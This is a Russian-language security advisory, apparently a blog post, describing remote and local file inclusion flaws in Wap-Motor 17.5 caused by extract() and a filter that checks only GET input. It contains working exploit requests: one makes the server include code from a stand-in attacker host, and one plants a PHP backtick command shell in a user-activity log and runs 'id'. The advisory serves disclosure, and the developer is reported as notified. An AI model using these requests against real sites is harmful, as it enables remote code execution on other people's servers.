Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии
Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:
<?php extract($HTTP_GET_VARS); extract($HTTP_POST_VARS); extract($HTTP_COOKIE_VARS); extract($HTTP_SERVER_VARS); extract($HTTP_SESSION_VARS); ?>
На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):
<?php
if(empty($f)){$f='index';}
echo $p.'/'.$f.'.'.$config_ras;
$sfx = file($p.'/'.$f.'.'.$config_ras);
if (!$sfx){
echo 'Файл с данными параметрами не найден!';
}else{
include_once $p.'/'.$f.'.'.$config_ras;
}
?>
Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):
<?php
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
?>
При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include.
RFI-эксплоит (для удачной эксплуатации на удаленном сервере необходимо создать файл s.mot с php-кодом, а также allow_url_fopen=on):
GET /index.php HTTP/1.0 Host: localhost Cookie: p=http://eViLhOsT; f=s; Connection: close
LFI-эксплоит (нужна сессия пользователя, а также необходим magic_quotes_gpc=off):
GET /index.php/%3C%3Fphp+echo+%60%7B$_COOKIE%5B'c'%5D%7D%60%3B+%3F%3E HTTP/1.0 Host: localhost Cookie: p=local/who.dat%00; c=id; SID=qsm8nce7777k4tvkt0vfbiem41; Connection: close
Несмотря на путь, будет запрошен скрипт index.php, и в файл local/who.dat, логирующий активность недавних пользователей, будет записан следующий код:
<?php echo `{$_COOKIE['c']}`; ?>
При этом произойдет обращение к local/who.dat с параметром c, который содержит команду для выполнения.
Разработчик проинформирован и принял соответствующие меры.

Leave a Reply